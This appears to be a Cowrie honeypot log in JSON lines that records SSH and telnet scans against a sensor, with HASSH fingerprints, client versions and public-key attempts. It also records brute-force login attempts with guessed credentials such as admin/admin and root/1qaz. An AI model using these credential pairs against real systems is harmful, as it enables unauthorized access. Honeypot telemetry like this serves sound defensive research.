{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:09.475260Z","src_ip":"43.135.182.46","session":"5eb76ffac4f8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:09.588430Z","src_ip":"41.63.63.211","session":"edef1016dbe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz","message":"login attempt [root/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:09.785129Z","src_ip":"43.135.182.46","session":"5eb76ffac4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:10.002341Z","src_ip":"41.63.63.211","session":"edef1016dbe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":56392,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9a93053df86","protocol":"ssh","message":"New connection: 130.12.180.51:56392 (159.203.135.109:22) [session: d9a93053df86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:10.343189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:10.348113Z","src_ip":"130.12.180.51","session":"d9a93053df86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:10.432518Z","src_ip":"130.12.180.51","session":"d9a93053df86","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:10.684804Z","src_ip":"130.12.180.51","session":"d9a93053df86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:10.900488Z","src_ip":"43.135.182.46","session":"5eb76ffac4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:11.225554Z","src_ip":"130.12.180.51","session":"d9a93053df86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":59234,"dst_ip":"10.17.0.5","dst_port":22,"session":"717f14c70f6b","protocol":"ssh","message":"New connection: 43.153.104.156:59234 (10.17.0.5:22) [session: 717f14c70f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:14.533992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:14.539118Z","src_ip":"43.153.104.156","session":"717f14c70f6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:14.608270Z","src_ip":"43.153.104.156","session":"717f14c70f6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hf123456!","message":"login attempt [root/Hf123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:14.909521Z","src_ip":"43.153.104.156","session":"717f14c70f6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:15.983168Z","src_ip":"43.153.104.156","session":"717f14c70f6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":42328,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc107cd8ccd","protocol":"ssh","message":"New connection: 103.149.28.157:42328 (10.17.0.5:22) [session: afc107cd8ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:22.675514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:22.680500Z","src_ip":"103.149.28.157","session":"afc107cd8ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:22.932381Z","src_ip":"103.149.28.157","session":"afc107cd8ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:23.689183Z","src_ip":"103.149.28.157","session":"afc107cd8ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:24.947722Z","src_ip":"103.149.28.157","session":"afc107cd8ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.136842250823975,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:31.189529Z","src_ip":"192.119.13.58","session":"66c415555996","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.94417905807495,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:31.530674Z","src_ip":"192.119.13.58","session":"a5ff218609e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.96471405029297,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:32.169956Z","src_ip":"192.119.13.58","session":"a0812cbf42bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.49633431434631,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:36.525237Z","src_ip":"192.119.13.58","session":"25c97c2ccf80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35846,"dst_ip":"10.17.0.5","dst_port":23,"session":"02855f434f37","protocol":"telnet","message":"New connection: 192.119.13.58:35846 (10.17.0.5:23) [session: 02855f434f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:39.340537Z"}
{"eventid":"cowrie.session.closed","duration":45.725162982940674,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:47.107242Z","src_ip":"192.119.13.58","session":"5f81ddd2e83c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.939165353775024,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:47.152139Z","src_ip":"192.119.13.58","session":"b9d82bc1d039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.51755928993225,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:47.620719Z","src_ip":"192.119.13.58","session":"84515479841f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.294633626937866,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:31:56.150874Z","src_ip":"192.119.13.58","session":"90d3ff502ace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40966,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2e75aa18e0","protocol":"telnet","message":"New connection: 192.119.13.58:40966 (10.17.0.5:23) [session: cf2e75aa18e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:01.360052Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":42078,"dst_ip":"159.203.135.109","dst_port":22,"session":"d299d49a9f50","protocol":"ssh","message":"New connection: 103.210.22.17:42078 (159.203.135.109:22) [session: d299d49a9f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:04.324079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:04.329158Z","src_ip":"103.210.22.17","session":"d299d49a9f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":58820,"dst_ip":"159.203.135.109","dst_port":22,"session":"36ec35cd0d37","protocol":"ssh","message":"New connection: 43.135.129.144:58820 (159.203.135.109:22) [session: 36ec35cd0d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:05.515446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:05.521113Z","src_ip":"43.135.129.144","session":"36ec35cd0d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:05.591331Z","src_ip":"43.135.129.144","session":"36ec35cd0d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc_123","message":"login attempt [root/Abc_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:05.899013Z","src_ip":"43.135.129.144","session":"36ec35cd0d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:06.971692Z","src_ip":"43.135.129.144","session":"36ec35cd0d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":41524,"dst_ip":"10.17.0.5","dst_port":22,"session":"761617be4641","protocol":"ssh","message":"New connection: 78.111.67.246:41524 (10.17.0.5:22) [session: 761617be4641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:07.967321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:07.974860Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.072757Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:02:df:c2:4f:3b:3c:fd:4e:96:e2:f6:b4:d5:d6:d6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOIfSoya9Zi6tmhEtKWiH9f+tB37dKwPOwEloF/lJdS","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 37:02:df:c2:4f:3b:3c:fd:4e:96:e2:f6:b4:d5:d6:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.544026Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:02:df:c2:4f:3b:3c:fd:4e:96:e2:f6:b4:d5:d6:d6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOIfSoya9Zi6tmhEtKWiH9f+tB37dKwPOwEloF/lJdS","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.546921Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:77:83:cd:78:ec:75:10:04:21:bb:66:14:24:ee:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tn6lrZQQ3T779EgYTDP4WBE8tnpF6ymKNeQ1ulwq18AUEZNOfuvPnkUmE1YzE62dSqhUA5zJXXftXdI0nW1OqZjMqq2WxZ9xs/0csNiup24nLLJa52TZJINLu9h4W+3SWH7X6LZKu+XqgK7+Sx0DcLLYfjllirJ0Q5Cu8V4IhCIy3W/V/bR80Q70LAh02Am2CCQAF60SU+Ozp0K3bXVW1S0c4HMPdzVkXzIT0ykz9R0FA0OOWvO6dTHLKBxWjoJjKAtCfH2yw9BYxFUqF3o3tH+K2a4spyTqHGbaedz2oGw28MOuygx3RgJWEDTpLtN7QgY3mm5CTYdra3k6JjhP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:77:83:cd:78:ec:75:10:04:21:bb:66:14:24:ee:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.668181Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:77:83:cd:78:ec:75:10:04:21:bb:66:14:24:ee:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tn6lrZQQ3T779EgYTDP4WBE8tnpF6ymKNeQ1ulwq18AUEZNOfuvPnkUmE1YzE62dSqhUA5zJXXftXdI0nW1OqZjMqq2WxZ9xs/0csNiup24nLLJa52TZJINLu9h4W+3SWH7X6LZKu+XqgK7+Sx0DcLLYfjllirJ0Q5Cu8V4IhCIy3W/V/bR80Q70LAh02Am2CCQAF60SU+Ozp0K3bXVW1S0c4HMPdzVkXzIT0ykz9R0FA0OOWvO6dTHLKBxWjoJjKAtCfH2yw9BYxFUqF3o3tH+K2a4spyTqHGbaedz2oGw28MOuygx3RgJWEDTpLtN7QgY3mm5CTYdra3k6JjhP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.672529Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:51:4d:10:e6:47:c1:08:ef:a3:81:d1:97:03:7a:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAunypwuuF8lgFWH+JfmKny7qD0WnQ6lrM5U21mlJhKCELlzEm0cy8rxsaJhe+AEeaJ5d8g7+dgKt71sh0t+dk8/78XYy3NO/ItzxJEqBZkNv+iDd96t1N25nmV6ABNrQAUvAlqSAttPUXXBx2aoUGPNp37zOGWiCXf+SYCv4BjJEF8TD44SqfWrWUZNvac1b4ll0qMXyhmYl2Xb8H0bydQURDiO3fmuaiO4jU6VSlfbxARua8RGGiAlrAGujBbvAsGLZnUh7kW6uC3bfefQMRL/8sXk4AA/iILNUSYuhGDDe6oGNvWi82PSOOxV/dsp5QTWepq9MeUdMP4qYrhs0Ukw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:51:4d:10:e6:47:c1:08:ef:a3:81:d1:97:03:7a:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:08.770082Z","src_ip":"78.111.67.246","session":"761617be4641","protocol":"ssh"}
